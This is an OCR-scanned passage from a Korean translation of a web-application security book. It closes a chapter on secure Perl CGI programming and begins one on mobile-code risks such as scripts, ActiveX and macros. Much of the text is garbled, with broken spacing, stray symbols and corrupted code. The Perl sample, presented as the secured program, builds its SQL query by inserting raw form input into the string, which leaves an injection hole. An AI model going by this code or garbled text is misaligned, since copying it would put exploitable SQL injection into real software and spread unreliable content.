우리가 하려는 선택권은 Web 봉사기공정을 차지한 사용자에게 대 단히 제한된 기능 
부분모임 을 허 락하기 위 하여 GRANT 서 술문을 리 용하는것이 였 다. 우리 가 부분모임 을 말 
하였는가? 그러고 역시 제한하였는가? 얼마전에 우리는 매우 복잡한 응용프로그람을 개 
발하는 대 상과제 에 서 일 하였 다. 이 응용프로그람의 심 장은 자료기 지 뒤 (문)를 막는것 이 였 
다. 대상과제 에서의 한가지 주목은 림 이 새 봉사기 즉 자료기지 이동을 포함하는 생산봉 
사기 에 로 이동하여 야 하는것이 였 다. 모든것 이 순조롭게 되지 않았고 그러 므로 일부 자료 
기지사용자들이 다시 결정되 여 야 하였다. 그런데 여기 에 보안이 거의 잠겨 져 버리는데 
가 있었다. 


도구와 함정... 


우리는 차이를 만들수 있다! 

책임자라고 하면 어떻게 보안과 사기를 떨구는 다양한 규칙제한환경을 만들지 
않고 프로그람작성자들이 보안프로그람들을 작성하게 할수 있다고 보는가? 자신이 
할수 있는 가장 중요한것은 가령 회사가 보안규칙을 작성하였다면 검사를 거 치는것 
이 다. 보안규칙 이 있다면 그것은 프로그람작성 자들과 개 발자들이 관측지휘 봉처럼 
사용할수 있는 확립된 사용지도서로서 봉사할수 있다. 만일 규칙이 없다면 그것을 
만드는데서 자기가 할수 있는 모든것을 다하시오. 

다음단계 는 코드검 열공정 을 시 작하는것 이 다. 만일 자신이 보안전문가다운 지 식 
을 가지고 있지 못하면 프로그람들을 검사하고 사용할수 있는 상업용응용프로그람 
하나를 사가지고 임의의 공개원천선택권들이 있는가를 조사하시오. 그러고 자신의 
결심들을 정 당화하는데 필 요한 외부고문 (의 논상대 ) 들을 데 려 오시오. 만일 당신 이 
코드검 열프로그람을 구입 하기 로 결심 하였 다면 임의 의 자동화된 응용프로그람은 수 
동검열로 떨어 진다는것이 가장 보편적인 생각이기때문에 선택권 ( Option ) 들이 많지 
않은것들을 찾을수 있다. 이 모든것은 옳은 처사이 다. 그러나 어떤 것은 차라리 없 
는편이 더 좋다. 

자신의 CGI 관련프로그람들에 대 하여서는 Rain Forest Puppy 에 의해 작성된 
위 스커 ( whisker ) 라고 부르는 검 사프로그람을 한번 시 도하여 보시 오. 그것 은 공개 
원천이므로 이와 같은 응용프로그람이 자신에게 무슨 리득들을 주는가를 알아 보기 
전에는 거기에 크게 투자하지 말아야 한다. 이 프로그람은 보안시험자들과 해커들 
에게는 다 통용된다. 

이것을 www . wiretrip . net / rtp / bins / wMsker / whisker . tar. gz 에서 찾을수 있 
다. 역시 Web 관련취 약성검 출에서 매우 엄격 한 대중적 인 상업 용취 약성 검사프로그람 
은 Sanctum 주식회사가 내놓은 AppScan 이 다 ( www . sanctuminc . com ) . 
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Web 자료기 지 사용자를 다음과 같은 MySQL 서 술문을 가지 고 거 의 모두 정 의 하였 다. 


Grant all on * to web 


우리 가 생 산봉사기 에 서 지 령하는 무서 운 론의 점 을 즉시 에 틀어 쥐 지 못하는 경 우에 
그것 이 무제 한한 파괴 력 을 가지 고 인증이 전혀없 이 사용자 《 Web 》 를《숭배 하게》만 
든다는것을 고려하시오. Web 는 인터네트에 있는 다른 곳의 임의의 기대로부터 이 자료 
기지 에 접속할것 이 고 해커들은 가짜자료를 삽입 하고 유효한 자료는 지워 버리며 표들을 
없애 버리고 총 자료기지들을 지울것 이 다. 또 다른 응용프로그람의 열쇠요소는 복잡한 
규칙파일 이 였 다. 우리 가 파일 을 작성하지 않았지 만 그것 은 프로그람의 뇌 수였 다. 설 마 
그것이 변경되였을가. 요점은 기능이 중요한만큼 혐의로 자주 단련 받아야 한다는것이다. 

처음에 보안은 론의할 물음도，방 ( room ) 도 없는 설계준위에서 시작하여야 한다. C 
와 같은 언어로 작성된 전통적인 응용프로그람들은 보통 사용자의 마음속에 있는 기능들 
을 가지고 설계된다. 꼭 언급하고 싶은것은 응용프로그람보안이 어쨌든 생각보다는 적게 
설계심사되 고 있었다는것 이 다. 특히 이것은 인터네 트의 동적세계 에서는 전적 으로 받아 
들일수 없는 일이다. 코드작성에 들어 가기전에 개발자들은 설계에서 자기들이 찾은 임 
의의 결함들이 왜 흠집들로 되는가 그리고 어떤것들이 문제를 풀기 위해 변경될수 있는 
가를 알고 있어야 한다. 즉 대상과제림의 여유를 알고 있어야 한다. 이것은 기능설계세 
계에서는 표준실천이지만 그것이 보안을 념두에 둘 때에는 그만큼 자주 감시된다. 

2) 그것을 보안적이고 기능적이 되게 만들자 

우리는 작은 Perl 프로그람을 어떻게 개선할수 있는가. 먼저 우리가 원하는것은 무엇 
이며 또 없는것은 무엇인가를 안다고 보고 출발하자. 프로그람작성의 치명적인 흠집의 
하나가 유순한 한계검사이 다. 《완충기자리넘침 》 (buffer overflow ) 을 위한 많은 보안 
관련 Web 싸이 트들가운데서 임의의 하나에 대 한 빠른 람색은 프로그람을 작성하는데 드 
는 많은 수고를 덜어 주는 힘 있는 증거물을 우리에게 보여 줄것이다. 다행히도 Perl (이 
일에서는 PHP 

와 Java 도 마찬가지다.)의 기억기관리는 이러한 위험들을 무시하고 다른 과제들에 
초점을 모으게 한다. 노력을 적게 들이면 프로그람이 더 건전해 지지 못하며 수고의 대 
가는 프로그람에 그대로 반영된다. 그림 2-8 에서 보여 준 프로그람을 보자. 이것은 여기 
서 배운 일련의 학습요강들을 포함한다. 


# Ensure that $PATH is aknown quantity 
$ ENV { PATH }= “/ bin : 八 isr / bin ” : 
t make sure we know where we are 
chdir / usr / local / config/websvc 


# output our CGI header 
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print header ； 

# main program 
get _ form () ； 

# end main program =) 

sub get_form 

{ 

my $ email = param (‘ f _ l ’); 
my $ name = param (‘ f _2’); 
my $ phone = param ( < f _3 , ) ； 
my $ paragraph = param (‘ Ta _ l ’); 


# check that form data is present and that the values contain same data 
my $ validate _ results = validate _ form (‘ pagel ’) ； 


if ($ validate_results != 0) 

{ 

# display an error page if the values weren’t fed in . 
error _ page () ； 

} else { 


# set op our statement , we know everything is OK since the 

# values are present . 

My $statement = “UPDATE demo 
SET email = ‘$ email ’， 
name = ‘$ name ’, 
phone = ‘$ phone ’ 
paragraph = ‘$ paragraph ’ 

my $dbh = DBI - > connect (‘ DBI : mysql : demo ’, ‘ user ’); 


# turns our string into a query 

my $sth = $dbh -〉 prepare ($ statement ); 

# execute our query , terminate upon error 
$sth -> execute 

or die $sth -〉 errstr ； 

# clean up after ourselves with the next two statements 
$sth -> finish ； 

$dbh -> disconnect ； 
print “It worked !” 

} 
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} 



my 通 regs = 泳 { $requireds{$which_form}} ； 
for (9regs) 


# 0 means access here, so anything else is an error. 
t this will return -1 if the value returned by the param 



start_html(‘You did not fill out all the necessary fields!’), 
hi ({-align => ‘CENTER’} , ‘Go back and do it over’), 
end_html 




보통 우리 는 여 기서 입구에 대 하여 론의하지 않았는데 그것 은 CGI 프로그람작성 을 
또 다른 장에서 취급하며 Perl 의 규칙적 인 표현식문장론과 하나도 비슷하지 않기때문에 
그 단계를 빼놓는다. 

이러한 담보를 가지고 루린을 지적하는것이 옳다. 즉 우리는 보통 다중페지응용프로 
그람들을 가지기때문에 이 방법은 옳은것으로 된다. 이것은 이러한 작은 프로그람에 대 
한 극단한 조치인듯 보일수 있지만 사용자들이 이 점을 주목하기 바란다. 

또 다르게 지 적할것 이 있 다. 일 반적 으로 우리 는 마당들을 채 울 필요가 있 다는것 을 
뚜렷히 하면서 양식을 다시 현시할것이다. 그러나 프로그람내에 있는 양식생성으로 하여 
지나치게 복잡해 질 일이 없기때문에 우리는 그것을 여기서 피한다. 실천적으로 자신이 
할수 있는 훨씬 많은것들로써 사용자를 방조하시오. 

우리가 지금도 완전무결하다고 하는것 이 그것인가? 비록 우리가 지금 가지고 있는 
자료의 유효한 형 식 화를 검사하기 위해 규칙적 인 표현식들을 넣 었다고 가정 해도 우리는 
그것 이 좋다고 호출할수 있지만 아직 완전무결하지 못하다고 생각한다. 우리가 전 세계 
로 나가는 입구점을 제공 받자면 자기 가 할수 있는 모든것을 사용할수 있는 가장 좋은 
실천들을 따르고 누구도 새로운 흠집을 발견하지 못하도록 하는것이 중요하다. 역시 우 
리는 다른 결심채택자들과의 좋은 련계를 가지고 있어야 하며 자기의 입구가 가치 있다 
는것을 확신해야 한다. 임의의것을 보존하는 보안은 조심성을 요구한다. 프로그람은 사 
전에 주의가 없이는 똑바로 창조될수도 없고 개발될수도 없다. 우리는 모든 프로그람들 
이 보안에 착수할뿐 보안을 남겨 두고 있다고 보고 계획을 바로 세울 펼요가 있다. 새로 
운 채용들이 발견되고 공개되고 있기때문에 현존코드토대를 다시 조사할 필요가 있으며 
새로운 취약성들이 서서히 오고 있는것은 없는가를 확정해야 할것이다. 이것은 위압적인 
과제일수 있는데 그것은 왜 이것이 그처럼 이따금 나타나며 왜 그처럼 대단히 중요한가 
하는데 있다. 


4 

결 론 


Web 관련응용프로그람들은 그것들과 관련한 많은 보안문제들을 가지고 있다. 제1장 
에서 설명한것처럼 Web 싸이트들은 최근에 새로운 많은 공격들에 부닥치고 있다. 이것 
ᄍ은 곡 자료파괴와 같은 문제거리를 일으키는데 그 발생원인은 주로 프로그람작성자령역 
_ 밖에 있다. Web 봉사프로그람에서의 취 약성 들은 기초에 놓이는 체계들의 다른 측면에서 
1볼 때 잘 작성하지 못한 쏘프트웨어처 럼 말썽거 리가 될수 있다. 보안은 반드시 심도 있 
게 조종되여야 한다. 하나의 단독요소가 문제거리의 총체적인 원인이 아니므로 하나의 
단독해결책 이 위험들을 완전히 완화시 키지는 못할것 이 다. 인터 네트는 위험한 장소이 다. 
ᄅ우리 는 규칙위 반자들에 게 항상 주의를 돌리지 못하므로 반드시 우리 가 할수 있는것만큼 
|은 해 야 한다. 


分， 


경 영 자측은 코드작성 에 서 창조력 을 허 용하고 장려 하는 환경 을 조성 시 켜 주어 야 한다: 
창조력에 대한 장애물은 경영자측에 의하여 조종되며 사무흥미거리들은 직업상 보안，엄; 
격 한 산업규칙 , 보다 낡은 기술에 대 한 의존성 그러 고 비 용과 죽음선제한조건들에 대 한 
세밀한 조종들을 포함한다. 가장 큰 장애물은 보안이 망준위에서 일어 나므로 보안은 y ] 1 



능에 부차적으로 관련된다는 태도이 다. 이 장애물들은 코드의 재 리용 혹은 모둘프로그람너ᄅ 
작성에는 상관 없는 높은 자본류동액을 조장시키는 실천에로 유도하여 취약성들을 검사 
하고 찾는데 주목을 덜 돌리게 한다. 창조력을 발양시킬수 없으며 론의를 공개할 능력이 _ ' 

없는 프로그람작성자에 대한 멸시적인 용어가 코드파괴자이다. 

프로그람작성 자들은 최근의 기술수법들에 정통해 야 하며 림 으로서 경 영 자측과 협동_ 

작업 하도록 해 야 한다 . 프로그 람작성 자가 직 결 식 새 소식 묶음 (Online newsgroups ) 들과 y 
다른 협회자원들을 리용하게 하고 해커와 같이 생각하게 하면 할수록 기교들은 더욱더’:; *3 
올라 가고 프로그람작성자의 자격도 더욱더 담보된다. 지식은 공유되여야 하며 코드는_ 

동료그룹에 의하여 심사되여야 한다. 이 장의 perl 코드작성실례는 우리가 자기 작업의_ 
보안을 평가하는 공정을 똑바로 거 치도록 하고 있다. 설명문，암호화 그러고 코드검열의 胃 
의의를 강조하는데서 가장 중요한것은 공정시 작부터 명백히 생각하고 계 획화하는것 이 다. # 

쏘 프트웨 어 에 는 그의 기 능적 인 측면을 빼 놓고라도 보안이라는 측면 이 더 있 어 야 한0 
다. 우리 는 보안이 안된 응용프로그람은 역시 비기능적 이라고 보아 지 는메 가 꼭 있을것 
이라고 추측한다. 그러나 우리는 아직 거기에 있지 않다! 


요 약 


코드파괴 자란 무엇인가 


- 코드파피자는 창조력이 장려되지 못하고 규칙들파 규정들이 법으로서 엄격히 고 
착된 환경에서 일하는 어떤 사람이다. 

- 코드파괴자들의 사고방식은 보통 설계와 같은 단계에서는 요청되지 않는다. 즉_ 
그들을 오직 취급자들처럼 본다. 


송 


2. 코드작성시에서의 창조적인 사색 



- 바라지 않는것을 제외하고 자기 코드에 미치는 바깥영향들을 알아 보시오. 

- 자기 코드를 최소화하는 방법들을 조사하시오. 

즉 될수록 작은 알속으로 기능을 유지 하시 오. 

- 심사, 심사 또 심사하시오. 자기 사고를 분산시키지 말고 집중하여 실수들을 없$ 
애시오. 약점 이 동료개 발자에 의해 나타날 때까지 프로그람을 검사하게 하지 마 ᅮ 
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시오. 우리는 그에게 생신한 사고방식이 채택될수 있는 기회를 절대로 주지 말 
아야 한다. 

3. 코드파괴 자의 관점에서 본 보안 

- 사무조종들은 필요상 보안과 같지 않은것들을 수행한다. 

- 개발자는 자기의 응용프로그람의 보안에 대해 책임을 져야 한다. 

4. 기능적 이고 보안적인 Web 응용프로그람구축 

- 응용프로그람들과 함께 무엇이든지 하기전에 자기 입구변수들의 값들을 검사하 
고 또 검사하시오. 

- 나타날수 있는 취약성들을 알아 보고 그것들의 위험을 완화시키기 위하여 자기 
가 할수 있는 모든것을 다하시오. 우리는 매개의 강력한 취약성들을 항상 없앨수 
는 없지만 채용을 막는 방향에서 많은것을 할수 있다. 

- 자기가 취 할수 있는 최소한의 특권을 리용하시오. 

프로그람이 체계에서 즉 관리자가 Windows 기대에 있다는 조건밑에서 달리게 
하지 말며 혹은 프로그람이 절대적으로 다칠 필요가 없는 UNIX 체계에 있는 
SUID 허 락들과 함께 달러게 하지 마시오. 만일 또 다른 방법을 생각할수 없다면 
다른 사람들에 게 판단을 위한 문의 를 하시 오. 


물음과 대답 


이 장의 물음에 대 한 대답은 저자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생활을 통하여 체 험 하도록 하는데 
도움을 줄것이다. 욕자들의 질문에 대한 저자의 답변을 듣자면 www . Syngress . 
鐵 an / sohittot 機의 《Ask the Anthor ) (저자에게 문의)을 누르시오. 

물음: 회사는 아무런 프로그람작성자들도 가지고 있지 못하지만 우리는 많은 상업적 
인 Web 관련응용프로그람들을 리용한다. 이것들이 보다 안전한가? 

그렇지 않으면 우리가 어떻게 그것들의 흠집들에 대하여 학습할수 있는가? 
대답: 유감스럽게도 우리는 어떤 사람에 의하여 작성된 프로그람이 자기자신이 작성 
한것 보다 어 쨌든 더 좋다고 가정할수 없다. 만일 Perl , PHP 기 타 스크립 트 
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언어들을 가진 경우처럼 자기가 구입하는 프로그람에 대한 원천코드에 접근하 
는데서 운수가 매우 좋다면 우리는 오유에 대하여 이 원천코드를 시험할수 있； j 풀팀 
다. 여느때와 같이 필요한 경험을 가지고 있지 못하면 자기를 방조하는 사리■:ᄎ 
가 밝은 검사자를 선발할수 있다. 역시 알려 진 취 약성들을 실은 많은 보물고胃 
들을 찾을수 있는데 그중 가장 좋은 하나가 Bugtraq ( www.Security 
focus , com ) 이 다. 


물음: 우리의 web 관련응용프로그람들은 아무런 개 인비밀 ( private ) 자료도 호출할수/』 
없으며 기본적으로 망내에서 체계들과 호상작용하는것도 없다. 우리는 강력한_ 
공격으로부터 어떤 위험들을 만날수 있는가? 

대답: 비록 위험들이 가장 적다고 생각할수 있지만 여전히 Web 싸이트를 가지고 있' i 
기 때 문에 결 과적 으로 우리 는 Web 싸이 트파손위 험 , 정 보의 교체 위 험 , 고객들 
의 주소잘못쓰기위험 기타 다른 문제들을 만난다. 이 모든것은 의뢰기접속목_ 
록폭로와 같은것과는 비교할바가 안되지만 우리는 리성을 가지고 론의점들을胃 
처리해야 한다. 만일 사무동료들이 당신이 어떤 방법으로 해킹하는것을 발견,.,= 
하면 그들은 당신의 전체적 인 보안전략의 효과성을 의심하기 시작할것 이다._ 
이것은 완전정보루설과 득같이 상처 입은것으로 될수 있다. 


물음: 우리는 의뢰기측에 대한 우리의 모든 유효성검사를 한다. 당신은 이것이 나쁜 
생각이라고 설명하였는데 우리는 여전히 우리가 옳다고는 보지 않는다. 그러 
면 누군가가 전송되는 자료를 바물수 있는 기회란 어떤 때인가? 

대답: 기회들은 틀림없이 실계로 있다. 우리는 직결소매자로부터 사기적으로 상품을 
주문 받은것으로 하여 체포된 범죄자에 대하여 읽은적이 있다. 이 비법적인 
사람은 주문을 하기전에 상품의 값을 바꾸어 놓음으로써 아무것도 없이 무엇 
인가를 얻은것 갈다. 봉사기 측에 대 한 정 상상태 검사는 이 위험을 제거 할것 이 다 
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물음: 우리는 많은 Web 관련응용프로그람들을 가지고 있지만 외부사용자들에게 리 i * 
용될수 있는것 은 아무것 도 없 다. 우리 는 자기 종업 원들을 신임하기 때 문에 아^^ 
무러한 유효성검사도 하지 않는다. 이것이 잘못된 생각인가? 

대답: 간단히 대답하면 《그렇다》이다. 보안세계에는《신용이 하나도 없다!》는 1 ^ 
한가지 공리 가 계속 남아서 사용되고 있다. 제1장에서 고찰한것처 럼 이전 종*^ 

업원들에 의한 보복공격들은 많은 회사들에 있어서 보다 실제적인 위험이다._ 

또 다른 잠재적인 문제거리는 호기심이 많은 현재의 종업원들이다. 우리는# 
Web 에서 그들이 찾은 도구를 시험해 보는 호기심 이 많은 종업 원에 의하예 
입은 상처가 우려가 머리속에서 상상한것보다 훨씬 더 크다는것을 보았다. 그_ 
러므로 비록 당신은 매 사람이 속해 있는 집 단내에서 일한다고 할지 라도 여전卜 _ 

히 위험들을 만나게 될것이다. 




제 3 장. 이동쿄드와 관련된 위험 


이 장의 기본체계 

관 이동코드공격의 영향에 대한 인식 

판 이동코드의 일반적인 양식의 식별 
선 이 동코드공격 으로부터 의 체 계 보호 

결론 

요약 


<» 물음과 대 답 




소 개 


인터네트는 자료외 에 보다 많은것들을 나를수 있다. 그것은 봉사제공을 위 하여 설계 
된 프로그람들을 나를수 있는데 이 프로그람들을 말단사용자들에게 간편하도록 특별한 
방법으로 배 달할 필요가 있다. 그러면 당신은 인터네트에 동적 인 내용물을 추가하기 위 
하여 이 Web 관련프로그람들을 어 떻게 전개하는가. 이동코드를 리용하여 전개한다. 이 
동코드 (mobile code ) 는 망을 거처 통과하는 코드이며 목표기대에서 실행되는 코드이다. 
봉사제 공을 위하여 설계된 프로그람들은 문서들과 전자우편내 에 있는 스크립 트들 즉 
Web 페지들내에서 달리는 코드객체들과 같이 다양한 형식들가운데서 임의의 하나가 될 
수 있다. 이동코드를 작성하는 방법이 있기때문에 갈은 코드조각은 때때로 다중가동환경 
에서 달릴수 있다. 이동코드는 망이나 인터네트를 통해 배포하는 응용프로그람들을 위해 
서는 가장 우월한 코드이 다. 

인터네트가 될수록 전에 없었던 방법으로 사람들을 정보에 접근시키도록 허용하는 
한 그것은 역시 일어 날수 있는 비법적인 작용들에 대하여서도 허용된다. 그러므로 거의 
모든 기술수법들과 마찬가지로 여기에 이동코드의 부정적인 측면들이 있다. 

이동코드는 실행가능한 코드이다. 따라서 보통 내리적재될수 있는 HTML 문서에 매 
몰되여 말단사용자워크스테이션에서 달릴수 있다. 이것은 바로 이 커다란 도구가 비법적 
으로 리용될수 있는 도구로 전환되는것이 얼마나 쉬운가를 알수 있게 한다. 전자우편은 
응용프로그람을 지 원하는 가장 널 리 보급된 HTML 문서실례 이 다. 그러 므로 이동코드가 
역시 전자우편내에서 전송될수 있다는 위험과 개인들을 목표로 삼을수 있는 잠재적가능 
성 은 명 백하다. 

추측할수 있는것 처 럼 보충적 인 단계 들이 앞으로의 확고한 보안을 위해 말단사용자들 
에 의해서 취해 져야할 필요가 있다. 왜냐하면 이동코드를 포함하는 프로그람들과 전자 
우편통보문들은 여기서 비법적인 비루스용《나르개들 ( carrier )》 로 될수 있기때문이다. 
일부 실례들에서 보여 주는바와 같이 이동코드는 우점들과 함께 그와 련결된 위험들을 
가지 고 있다. 사용자들은 반드시 응용프로그람들과 미지의 원천지들로부터 프로그람들을 
리용할 때 생기는 위험들에 대 하여 깊은 주의를 돌려야 한다. 신용지수들과 상식은 사람 
들이 개발자의 코드를 어느 정도 신용하는가를 가리키는 지표인데 신용을 얻자면 개발자 
의 회사가 필요상 등록된 이름 있는 회사가 아니고서는 매우 힘들다. 사용자들에게 리용 
될수 있는 가장 안전한 보안수단들은 일반적으로 스크립트들과 조종체들의 기능을 묶은 
것(블로크화한것)을 포함하고 있는데 이것은 응용프로그람리용가능성에 엄청 나게 큰 충 
격을 줄수 있다. 이 장은 주로 말단사용자의 관점에서 본 이동코드보안을 고찰하는데 그 
것은 이 책을 통하여 서술한 통보문을 강조하기 위해서이다. 즉 설사 증명서와 암호화수 
단들을 리용한다고 해도 개발자는 자기 코드가 비법적코드도 아니고 의도적인 코드도 아 
니라는것 을 보여 주기 위하여 자기 가 믿 을수 있 는 원 천 ( source ) 이 라는것 을 말단사용자 
들에게 재확인시켜야 한다. 
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제 1 절. 이동코드공격의 영향에 대한 인식 


평문으로 된 HTML 코드는 체계에 있는 정보에 접근하거나 결심채택을 할수 있는 
능력을 가지지 못한다. 하지만 이동코드를 혼합하여 넣는다면 그것은 계3부류 인물들이 
비렬한짓을 하도록 조금씩 《대리자》들을 보낼수 있게 한다. 이 대리자들은 남몰래 가 
만히 비법적인 일을 할수 있다. 그것들은 사용자의 체계에 대한 정보를 복구하거나 사용 
자로부터 의 정 보를 회 복하여 그것 을 거 꾸로 인 터네 트에 있는 봉사기 에 로 보낼 수 있 다. 
이것 이 이동코드로 움직 일 때 방화벽 에 의해 제공되는 안전성은 적 어 진다. 만일 사용자 
들이 Web 열람접근을 가진다면 이동코드는 역시 그들의 체계에 들어 갈수 있다. 유감이 
지만 여기서 전자우편통보문들은 득 잘라 버리고 비 법적 인 해커들로부터 지원되는 프로 
그람들은 막아 버리는 실제 적 인 방법 이 없다. 좋은데서 나쁜것을 뽑아 버 릴수 있다는것 
은 훌륭하지만 이것은 이따금 광범한 정보자원을 제공하는 인터네트의 사용가치를 떨어 
뜨리게 한다. 흔히 체계관리자가 접근을 제한하여 해독적 인 싸이트들로부터 사용자들을 
보호하려고 시도할 때 그것은 망의 사용자들에게 골치거리로 된다. 이동코드가 체계에 
들어 갈수 있는 일련의 방법들을 고찰하자. 

1. 열람기공격 

설사 HTML 전자우편이 빨리 표준화되 고 있지 만 열 람기 ( browser ) 들은 대 부분 전자 
우편응용프로그람보다 이동코드에 더 많은 관심을 돌리고 있다. 현재 우리가 방문하는 
가장 많은 Web 페지들은 어떤 종류의 이동코드를 포함하는데 보통은 JavaScript 형 식 이 
다. 역시 VBScript 는 비록 JavaScript 처럼 그렇게 많지는 않지만 보편적으로 리용된다. 
사용자들은 큰 회사들에 속하는《확립된》 Web 싸이트들을 방문할 때 있을수 있는 많 
은 이 동코드공격 들에 대 하여 크게 근심할 필 요는 없 다. 하지 만 인 터 네 트의 중요성 은 매 
사람이 큰 회사들과 꼭같이 내용물을 제출할수 있다는것이다. 고객들이 보안설정 
(security setting ) 들을 고유하게 리 용하고 이 장에서 앞으로 말하게 되 는 기 타 다른 주 
의 점 들을 고려하는 한 그것 들은 아무런 문제 점 이 없 이 Web 로 들어 갈수 있 을것 이 다. 

2. 우편의뢰기공격 

이동코드를 가진 HTML 문서는 체계로 전자우편을 통해 들어 갈수 있으므로 단독해 
커는 비법적인 어떤것을 창조할수 있다. 지어 가장 나쁘게는 당신이나 당신회사가 공격 
목표로 특별히 선정될수 있다. 

이동코드는 첨부물로서가 아니라 전자우편의 본문(본체)에서 오고간다. 첨부물이 활 
동하게 하자면 사용자에 의해 수동적 으로 열려 져 야 하는데 이때 보통 위험 이 있다는것 
을 사용자가 알게 하도록 경고를 낸다. 이동코드와 함께 그것은 전자우편이 현시될 때 
미 리 보기창에서라도 실행된다. 이것은 특히 새 로 들어 온 사용자들과 함께 무엇 인가 조 
종할수 없는 이동코드가 만들어 진다는것을 경고한다. 

이동코드가 사용자콤퓨터에 로 이동하게 하는 본질적 인 두가지 방법 이 있다. 첫째 방 
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법에서는 이동코드가 전자우편통보문에 직접 매몰된다(그림 3-1). 이것을 JavaScript 나 
VBScript 와 같은 스크립트언어들에서 응용한다. 

이동코드가 콤퓨터에 닿게 하는 두번째 방법은 Web 봉사기로부터 이 다(그림 3-2). 
우편물은 이동코드에 대 한 유일 한 참조에 의하여 도착한다. HTML 에서 그림들과 같은 
많은것들은 Web 봉사기에 거주하는 실제적인 파일들을 참조한다. 오직 전자우편이 열려 
질 때 (혹은 미리보기창에서 보여 질 때)에만 봉사기로부터 실제적으로 코드가 복원된다. 
이것을 Java 애플레트들과 ActiveX 조종체들에 리용한다. 






그림 3-1. 실지전자우편통보문에 매몰된 이동코드 





1림 3-2. Web 봉사기에 거주하는 이동코드 
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3. 비법적인 스크립트와 마크로 

아마 기관들에서 통용되는 기본형 태의 첨부물은 Word 나 WordPerfect 와 같은 단어 
처 리 기문서들일것 이 다. 이 문서들은 좋은 일들도 할수 있고 나쁜 일들도 쉽게 할수 있는 
강력한 마크로들을 포함할수 있다. 마크로들이 비법적으로 리용된 초기실례는 체계관리 
자들에게 주요한 문제거리들이 생기게 한 Melissa 비루스였다. 


제 2 절. 이동코드의 일반적인 양식의 식별 


이동코드 (mobile code ) 는 열 람기든지 전자우편통보문이든지 간에 를퓨터 에서 실행 되 
도록 하기 위해 망을 거쳐 이동하는 임의의 코드라고 정의할수 있다. 여기에는 4가지 형 
태의 이동코드 즉 VBA (Visual Basic for Applications ) 와 같은 마크로언어들， 
JavaScript 와 VBScript 같은 매몰스크립트들, JavaApplets 와 ActiveX 조종체들이 있다. 
이 장에서 앞으로 이 매개의 이동코드와 관련한 여 러 가지 보안문제들을 론의하며 이 보 
안위협들에 대 한 예 방책들을 고찰한다. 

이동코드는 전자우편의 부분으로서 받아 들일수 있는 첨부물과 전혀 다르다(표 3-1). 
첨부물은 사용자가 그것을 열거나 디스크에 그것을 보관하는 등 그것을 조사할 때까지는 
활동하지 않고 동면한다. 만일 첨부물이 어떤 종류의 2진코드이거나 스크립트라면 그것 
은 사용자가 첨 부물을 선택 하거 나 그것 을 실 행 하게 설정 할 때 까지 는 달리 지 않을것 이 다. 
이 형태의 2진첨부물들은 그것들이 무엇을 할수 있는가에는 구속되지 않는다. 일 단 우리 
가 그것을 실행하기 시작하면 그것들은 하드구동기를 읽거나 거기에 자료를 쓸수 있으며 
정보를 전송할수 있다. 


표 3-1. _이동코드를 거친 첨부물 


거 동 

첨부물 

이동코드 

전자우편으로 파케트를 보냈는가? 
전자우편을 열 때 실행하였는가? 

제 한하였는가? 

Yes 

No 

No 

항상 그렇지는 않다. 
Yes 

Yes 


이동코드는 그것이 두번째로 전자우편을 열 때 실행하기 시작하기때문에 다르다. 만 
일 이동코드가 하드구동기를 읽거나 쓰는것을 제한하지 않고 희망하는 아무것이나 다 할 
수 있게 하면 그것은 주요한 보안위협으로 될것이다. 하지만 쏘프트웨어설계자들은 이동 
코드가 수행 되 도록 허 용하는것 을 제 한하는 통찰력 을 가진 다. 이 동코드를 제 한하는것 은 
그것을 힘 없게 만들지만 사용자에게 안전한 인터네트경험을 주기 위해서는 힘을 줄여도 
된다. 이 제한들은 이동코드를 만드는데 리용된 언어에 따라 다양하다. 우리는 매개의 
이 제한들을 앞으로 이 장에서 고찰한다. 

이동코드는 이따금 HTML 코드속에 있는 콤퓨터에로 보내진다. JavaScript 와 
VBScript 는 항상 그림 3-1 에서 보여 준것처럼 HTML 코드의 본문에 포함된다. 그러나 
Java 애플레트들과 ActiveX 조종체들은 대표적으로 인터네트에 있는 또 다른 봉사기에 
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거주한다. 일단 코드가 콤퓨터에로 보내지기만 하면 Web 페지나 전자우편이 화면에 현 
시된다. 다양한 형태의 이동코드가 상주하는데는 역시 차이가 있다. ActiveX 코드는 일 
단 설 치 되 면 사용자기 대 에 있는 하드구동기 를 계 속 리 용할것 이 다. 하지 만 Java 애 플레 트 
들은 전자우편이 열려 질 때에만 검색되며 실행된다. 그러나 사용자의 PC 에 복사물이 
남아 있는것 이 란 하나도 없 다. 이 때 디 스크고속완충기 ( cache ) 폴더 에 있는 림 시 기 억 은 
제외한다. 이 문제는 앞으로 더 나가면서 이 장에서 론의한다. 

1. 마크로언어: VBA (응용프로그람을 위한 비쥬알 베이지크) 

여기에 우리가 받아 들인 형태의 이동코드와 꼭같이 위험한 또 다른 형태의 코드가 
있다. 이 코드는 문서들과 함께 오고가고 이 문서들이 역시 망들을 걸쳐 이동하기때문에 
그것 은 이 동코드와 거 의 같은 자격 을 가진다. 우리 는 마크로언어 (macro language ) 들에 
대 하여 이 야기 한다. VBA 는 Microsoft Office 를 리 용하는 사용자들에 게 Office 문서 들에 
거의 제한 없는 기능을 더해 주게 하는 마크로언어이다. 마크로언어들이 그러하듯이 
VBA 는 매우 강력하다. 그것은 응용프로그람의 모든 차림표 ( menu ) 함수들이 코드로부터 
실행되게 하며 (디스크연산들을 포함하여) ActiveX 조종체들과 호상작용하게 한다. 

PowerPoint , Word , Exel 그리고 Access 를 포함하여 Office 97과 Office 2000의 
모든 응용프로그람들은 VBA 를 다 리용할수 있다. VBA 는 Microsoft 회사제품들에만 곡 
제한되는것은 아니다. 이 언어는 받아 들일만하게 잘 개발된 유력한 마크로언어이기때문 
에 다른 응용프로그람개발자들도 그것을 완전히 채용할수 있다. 실례로 Autodesk 는 
VBA 안으로 뛰여 들었으며 AutoCAD 2000에서는 VBA 를 실현 하였다. 이것은 
AutoCAD 사용자들에 게 전례 없는 창조력 을 발휘하게 하며 한편 류사한 언어 들로 작성 
한 프로그람에 그것을 활용하게 할것 이 다. 

물론 문장론에서의 류사성들이 있다고는 하지만 VBA 는 VB 와 같지 않다(표 3-2). 
VB 는 단 독 응 용 프 로 그 람 들 을 작 성 하 기 위 한 통 합 개 발 환 경 ( IDE ： Integrated 
Development Environment ) 을 가지 고 있 다. 다른 한편 VBA 는 오직 Office 응용프로 
그람들가운데서 어느 하나가(혹은 제3부류응용프로그람) 실행될 때에만 실행된다. VBA 
코드는 를파일식이 아니지만 가코드 ( P - 코드) 로부터 연산하기때문에 연산을 좀 빨리 실 
행 한다. 


